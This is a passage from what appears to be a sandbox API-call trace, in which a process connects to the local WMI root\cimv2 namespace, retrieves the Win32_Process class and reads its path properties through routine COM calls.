[5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c054b50) returned 0x0 [0082.540] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c054b50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c040110) returned 0x0 [0082.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1c040110, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf97620) returned 0x0 [0082.789] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97620, pProxy=0x1c040110, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0082.789] WbemLocator:IUnknown:Release (This=0x1bf97620) returned 0x1 [0082.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1c040110, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf97660) returned 0x0 [0082.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1c040110, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf97620) returned 0x0 [0082.789] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97620, pProxy=0x1c040110, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0082.789] WbemLocator:IUnknown:Release (This=0x1bf97620) returned 0x2 [0082.789] WbemLocator:IUnknown:Release (This=0x1bf97660) returned 0x1 [0082.789] CoTaskMemFree (pv=0x11dccd0) [0082.789] WbemLocator:IUnknown:AddRef (This=0x1c040110) returned 0x2 [0082.789] WbemLocator:IUnknown:Release (This=0x1c054b50) returned 0x0 [0082.790] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0082.790] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0082.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1c040110, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf97630) returned 0x0 [0082.790] WbemLocator:IRpcOptions:Query (in: This=0x1bf97630, pPrx=0x117f200, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0082.790] WbemLocator:IUnknown:Release (This=0x1bf97630) returned 0x2 [0082.790] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0082.790] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0082.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1c040110, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c040110) returned 0x0 [0082.790] WbemLocator:IUnknown:Release (This=0x1c040110) returned 0x2 [0082.790] SysStringLen (param_1=0x0) returned 0x0 [0082.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0082.791] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0082.791] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.791] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fff0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0082.791] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fff0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0082.791] IWbemServices:GetObject (in: This=0x1c040110, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c029e90, ppCallResult=0x0) returned 0x0 [0082.810] IWbemClassObject:Get (in: This=0x1c029e90, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0082.810] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0082.810] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0082.810] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0082.811] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0082.811] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0082.811] IUnknown:Release (This=0x111f638) returned 0x1 [0082.814] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c054b50) returned 0x0 [0082.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054b50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0082.814] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054b50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1c0300b0) returned 0x0 [0082.814] WbemDefPath:IUnknown:Release (This=0x1c054b50) returned 0x0 [0082.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1c0300b0) returned 0x0 [0082.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0082.815] WbemDefPath:IUnknown:AddRef (This=0x1c0300b0) returned 0x3 [0082.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0082.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0082.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c054630) returned 0x0 [0082.815] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054630, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.815] WbemDefPath:IUnknown:Release (This=0x1c054630) returned 0x3 [0082.815] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0082.815] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0082.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0082.815] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x2 [0082.816] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x1 [0082.816] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0082.816] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0082.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c0300b0) returned 0x0 [0082.816] WbemDefPath:IUnknown:AddRef (This=0x1c0300b0) returned 0x3 [0082.816] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x2 [0082.816] WbemDefPath:IWbemPath:SetText (This=0x1c0300b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0082.816] IWbemClassObject:Get (in: This=0x1c029e90, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0082.816] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0082.816] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0082.816] IWbemClassObject:Get (in: This=0x1c029e90, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0082.816] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0082.817] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0082.817] IWbemClassObject:Get (in: This=0x1c029e90, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0082.817] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0082.817] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0082.817] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0082.817] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0082.817] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0082.817] IUnknown:Release (This=0x111f638) returned 0x1 [0082.819] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0543b0) returned 0x0 [0082.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0543b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0082.819] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0543b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02ff30) returned 0x0 [0082.819] WbemDefPath:IUnknown:Release (This=0x1c0543b0) returned 0x0 [0082.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02ff30) returned 0x0 [0082.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0082.820] WbemDefPath:IUnknown:AddRef (This=0x1c02ff30) returned 0x3 [0082.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0082.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0082.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0543f0) returned 0x0 [0082.820] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0543f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.820] WbemDefPath:IUnknown:Release (This=0x1c0543f0) returned 0x3 [0082.820] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0082.820] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0082.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0082.820] WbemDefPath:IUnknown:Release (This=0x1c02ff30) returned 0x2 [0082.820] WbemDefPath:IUnknown:Release (This=0x1c02ff30) returned 0x1 [0082.820] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0082.820] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0082.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02ff30) returned 0x0 [0082.820] WbemDefPath:IUnknown:AddRef (This=0x1c02ff30) returned 0x3 [0082.820] WbemDefPath:IUnknown:Release (This=0x1c02ff30) returned 0x2 [0082.820] WbemDefPath:IWbemPath:SetText (This=0x1c02ff30, uMode=0x4, pszPath="") returned 0x0 [0082.820] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0082.820] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0082.821] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0082.821] IUnknown:Release (This=0x111f638) returned 0x1 [0082.822] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0543b0) returned 0x0 [0082.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0543b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0082.822] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0543b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02fdb0) returned 0x0 [0082.822] WbemDefPath:IUnknown:Release (This=0x1c0543b0) returned 0x0 [0082.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02fdb0) returned 0x0 [0082.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0082.823] WbemDefPath:IUnknown:AddRef (This=0x1c02fdb0) returned 0x3 [0082.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0082.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0082.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c054070) returned 0x0 [0082.823] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.823] WbemDefPath:IUnknown:Release (This=0x1c054070) returned 0x3 [0082.823] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0082.823] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0082.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0082.823] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x2 [0082.823] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x1 [0082.823] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0082.823] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0082.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), 